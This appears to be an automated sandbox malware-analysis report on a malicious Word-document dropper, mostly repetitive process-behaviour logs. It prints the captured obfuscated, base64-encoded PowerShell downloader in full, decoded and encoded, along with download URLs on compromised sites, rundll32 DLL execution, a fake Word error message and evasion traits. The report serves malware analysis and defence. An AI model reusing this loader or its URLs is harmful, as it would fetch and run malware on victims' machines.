Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2560 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0022109C FindFirstFileW, 14_2_0022109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: powershell.exe, 00000005.00000002.2104363576.0000000000294000.00000004.00000020.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: rundll32.exe, 00000007.00000002.2107524438.000000000069D000.00000004.00000020.sdmp Binary or memory string: PPTP00VMware_S
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Contains functionality to read the PEB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023C4FF mov eax, dword ptr fs:[00000030h] 7_2_0023C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_001EC4FF mov eax, dword ptr fs:[00000030h] 8_2_001EC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC4FF mov eax, dword ptr fs:[00000030h] 9_2_001DC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0027C4FF mov eax, dword ptr fs:[00000030h] 10_2_0027C4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 11_2_001AC4FF mov eax, dword ptr fs:[00000030h] 11_2_001AC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_006CC4FF mov eax, dword ptr fs:[00000030h] 12_2_006CC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 13_2_001EC4FF mov eax, dword ptr fs:[00000030h] 13_2_001EC4FF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 14_2_0022C4FF mov eax, dword ptr fs:[00000030h] 14_2_0022C4FF
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10001B30 SetLastError,SetLastError,VirtualAlloc,GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError, 7_2_10001B30
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10007F07 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 7_2_10007F07

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 5.2.136.90 80 Jump to behavior
Encrypted powershell cmdline option found
Source: unknown Process created: Base64 decoded sV ("K"+"47d") ([tYPe]("{4}{1}{0}{3}{2}"-F's','y','ecTorY','TEm.Io.DIr','s')) ; $Wi8 =[tyPe]("{2}{3}{7}{1}{4}{6}{5}{8}{0}"-F 'gER','.Net.SERV','SYs','Te','I','tmA','CePOIN','m','Na') ; $ErrorActionPreference = (('Silent'+'ly')+'C'+('on'+'ti')+'n'+'ue');$Ol9onki=$C02W + [char](64) + $A03P;$H27X=('I'+('6'+'7Q')); (gi ("VaR"+"iABLe:k"+"47d") ).vaLue::"CrE`A`T`EDIReCT`ORy"($HOME + (('{'+'0'+'}Ns'+'p'+'zvsg{'+'0}'+'Sj_dwgs{'+'0}') -f [CHAR]92));$T48K=('H'+('61'+'D')); $Wi8::"secuRit`yprO`T`ocoL" = (('Tl'+'s')+'12');$C59M=(('M'+'24')+'P');$Xmmhked = (('R'+'31')+'N');$A69I=(('P_'+'6')+'B');$Q2yg9g_=$HOME+((('1'+'wr')+('Ns'+'pz')+('v'+'sg')+'1w'+('rS'+'j_'+'dw'+'gs1wr'))."rEp`lAce"(([Char]49+[Char]119+[Char]114),'\'))+$Xmmhked+(('.d'+'l')+'l');$U39R=('M0'+'1P');$Qcech4h=(']a'+('n'+'w[3://')+('w'+'ps')+'a'+'pk'+('.co'+'m/wp-'+'ad'+'mi')+('n/v'+'/@')+']'+('anw'+'[3'+'://s')+('ofsu'+'i')+'te'+('.c'+'o')+'m/'+'wp'+('-i'+'nc')+('lud'+'e')+'s/'+('2jm3n'+'Ik/'+'@')+(']a'+'nw[')+'3'+('://veter'+'inaria'+'d')+('rp'+'op')+('ui.co'+'m')+('/'+'co')+'n'+'te'+('nt'+'/5f')+'1'+'8Q'+'/'+'@'+(']a'+'n')+'w'+('[3:'+'//sh'+'op'+'.')+'el'+'e'+('men'+'sl'+'i')+('d'+'e.')+('com'+'/')+'wp'+'-c'+'o'+('n'+'tent')+('/'+'n/'+'@]an')+('w[3'+'://')+'k'+('h'+'an')+('h'+'ho')+('aho'+'m')+('nay.ne'+'t/'+'wordp')+('re'+'s')+('s/'+'C')+('GMC/@'+']')+'an'+'w'+('[3:/'+'/')+('ca'+'m')+('pu'+'se'+'xpo'+'.org/de')+'p'+('ar'+'tmen')+'t'+('-'+'of-odhm')+('mkd/95eX'+'Z'+'Y')+('/@]anw['+'3s://g'+'ur'+'zta'+'c
Source: C:\Windows\System32\cmd.exe Process created: Base64 decoded sV ("K"+"47d") ([tYPe]("{4}{1}{0}{3}{2}"-F's','y','ecTorY','TEm.Io.DIr','s')) ; $Wi8 =[tyPe]("{2}{3}{7}{1}{4}{6}{5}{8}{0}"-F 'gER','.Net.SERV','SYs','Te','I','tmA','CePOIN','m','Na') ; $ErrorActionPreference = (('Silent'+'ly')+'C'+('on'+'ti')+'n'+'ue');$Ol9onki=$C02W + [char](64) + $A03P;$H27X=('I'+('6'+'7Q')); (gi ("VaR"+"iABLe:k"+"47d") ).vaLue::"CrE`A`T`EDIReCT`ORy"($HOME + (('{'+'0'+'}Ns'+'p'+'zvsg{'+'0}'+'Sj_dwgs{'+'0}') -f [CHAR]92));$T48K=('H'+('61'+'D')); $Wi8::"secuRit`yprO`T`ocoL" = (('Tl'+'s')+'12');$C59M=(('M'+'24')+'P');$Xmmhked = (('R'+'31')+'N');$A69I=(('P_'+'6')+'B');$Q2yg9g_=$HOME+((('1'+'wr')+('Ns'+'pz')+('v'+'sg')+'1w'+('rS'+'j_'+'dw'+'gs1wr'))."rEp`lAce"(([Char]49+[Char]119+[Char]114),'\'))+$Xmmhked+(('.d'+'l')+'l');$U39R=('M0'+'1P');$Qcech4h=(']a'+('n'+'w[3://')+('w'+'ps')+'a'+'pk'+('.co'+'m/wp-'+'ad'+'mi')+('n/v'+'/@')+']'+('anw'+'[3'+'://s')+('ofsu'+'i')+'te'+('.c'+'o')+'m/'+'wp'+('-i'+'nc')+('lud'+'e')+'s/'+('2jm3n'+'Ik/'+'@')+(']a'+'nw[')+'3'+('://veter'+'inaria'+'d')+('rp'+'op')+('ui.co'+'m')+('/'+'co')+'n'+'te'+('nt'+'/5f')+'1'+'8Q'+'/'+'@'+(']a'+'n')+'w'+('[3:'+'//sh'+'op'+'.')+'el'+'e'+('men'+'sl'+'i')+('d'+'e.')+('com'+'/')+'wp'+'-c'+'o'+('n'+'tent')+('/'+'n/'+'@]an')+('w[3'+'://')+'k'+('h'+'an')+('h'+'ho')+('aho'+'m')+('nay.ne'+'t/'+'wordp')+('re'+'s')+('s/'+'C')+('GMC/@'+']')+'an'+'w'+('[3:/'+'/')+('ca'+'m')+('pu'+'se'+'xpo'+'.org/de')+'p'+('ar'+'tmen')+'t'+('-'+'of-odhm')+('mkd/95eX'+'Z'+'Y')+('/@]anw['+'3s://g'+'ur'+'zta'+'c Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcAbgAnACsAJwB3AFsAMwA6AC8ALwAnACkAKwAoACcAdwAnACsAJwBwAHMAJwApACsAJwBhACcAKwAnAHAAawAnACsAKAAnAC4AYwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuAC8AdgAnACsAJwAvAEAAJwApACsAJwBdACcAKwAoACcAYQBuAHcAJwArACcAWwAzACcAKwAnADoALwAvAHMAJwApACsAKAAnAG8AZgBzAHUAJwArACcAaQAnACkAKwAnAHQAZQAnACsAKAAnAC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAnAHcAcAAnACsAKAAnAC0AaQAnACsAJwBuAGMAJwApACsAKAAnAGwAdQBkACcAKwAnAGUAJwApACsAJwBzAC8AJwArACgAJwAyAGoAbQAzAG4AJwArACcASQBrAC8AJwArACcAQAAnACkAKwAoACcAXQBhACcAKwAnAG4AdwBbACcAKQArACcAMwAnACsAKAAnADoALwAvAHYAZQB0AGUAcgAnACsAJwBpAG4AYQByAGkAYQAnACsAJwBkACcAKQArACgAJwByAHAAJwArACcAbwBwACcAKQArACgAJwB1AGkALgBjAG8AJwArACcAbQAnACkAKwAoACcALwAnACsAJwBjAG8AJwApACsAJwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvADUAZgAnACkAKwAnADEAJwArACcAOABRACcAK Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dll Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Czsbnlmzhou\heljhxhmap.nib',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tshsltpdkbydgac\umncisajimhcut.zje',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Nrnhwjwgkqopncg\hahzpwlqhuedal.zvs',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Wcuhm\nost.bdw',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omzikkfxzmn\texvcnoeud.iob',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Afhsry\advki.tth',Control_RunDLL Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Tjgkecgvqxx\dxuouhyssc.uio',Control_RunDLL Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABzAFYAIAAgACgAIgBLACIAKwAiADQANwBkACIAKQAgACAAKABbAHQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAEYAJwBzACcALAAnAHkAJwAsACcAZQBjAFQAbwByAFkAJwAsACcAVABFAG0ALgBJAG8ALgBEAEkAcgAnACwAJwBzACcAKQApACAAIAA7ACAAIAAgACAAJABXAGkAOAAgAD0AWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsAMwB9AHsANwB9AHsAMQB9AHsANAB9AHsANgB9AHsANQB9AHsAOAB9AHsAMAB9ACIALQBGACAAJwBnAEUAUgAnACwAJwAuAE4AZQB0AC4AUwBFAFIAVgAnACwAJwBTAFkAcwAnACwAJwBUAGUAJwAsACcASQAnACwAJwB0AG0AQQAnACwAJwBDAGUAUABPAEkATgAnACwAJwBtACcALAAnAE4AYQAnACkAIAA7ACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTAGkAbABlAG4AdAAnACsAJwBsAHkAJwApACsAJwBDACcAKwAoACcAbwBuACcAKwAnAHQAaQAnACkAKwAnAG4AJwArACcAdQBlACcAKQA7ACQATwBsADkAbwBuAGsAaQA9ACQAQwAwADIAVwAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQQAwADMAUAA7ACQASAAyADcAWAA9ACgAJwBJACcAKwAoACcANgAnACsAJwA3AFEAJwApACkAOwAgACAAKABnAGkAIAAoACIAVgBhAFIAIgArACIAaQBBAEIATABlADoAawAiACsAIgA0ADcAZAAiACkAIAAgACkALgB2AGEATAB1AGUAOgA6ACIAQwByAEUAYABBAGAAVABgAEUARABJAFIAZQBDAFQAYABPAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AE4AcwAnACsAJwBwACcAKwAnAHoAdgBzAGcAewAnACsAJwAwAH0AJwArACcAUwBqAF8AZAB3AGcAcwB7ACcAKwAnADAAfQAnACkAIAAgAC0AZgAgAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAFQANAA4AEsAPQAoACcASAAnACsAKAAnADYAMQAnACsAJwBEACcAKQApADsAIAAgACQAVwBpADgAOgA6ACIAcwBlAGMAdQBSAGkAdABgAHkAcAByAE8AYABUAGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQAQwA1ADkATQA9ACgAKAAnAE0AJwArACcAMgA0ACcAKQArACcAUAAnACkAOwAkAFgAbQBtAGgAawBlAGQAIAA9ACAAKAAoACcAUgAnACsAJwAzADEAJwApACsAJwBOACcAKQA7ACQAQQA2ADkASQA9ACgAKAAnAFAAXwAnACsAJwA2ACcAKQArACcAQgAnACkAOwAkAFEAMgB5AGcAOQBnAF8APQAkAEgATwBNAEUAKwAoACgAKAAnADEAJwArACcAdwByACcAKQArACgAJwBOAHMAJwArACcAcAB6ACcAKQArACgAJwB2ACcAKwAnAHMAZwAnACkAKwAnADEAdwAnACsAKAAnAHIAUwAnACsAJwBqAF8AJwArACcAZAB3ACcAKwAnAGcAcwAxAHcAcgAnACkAKQAuACIAcgBFAHAAYABsAEEAYwBlACIAKAAoAFsAQwBoAGEAcgBdADQAOQArAFsAQwBoAGEAcgBdADEAMQA5ACsAWwBDAGgAYQByAF0AMQAxADQAKQAsACcAXAAnACkAKQArACQAWABtAG0AaABrAGUAZAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFUAMwA5AFIAPQAoACcATQAwACcAKwAnADEAUAAnACkAOwAkAFEAYwBlAGMAaAA0AGgAPQAoACcAXQBhACcAKwAoACcA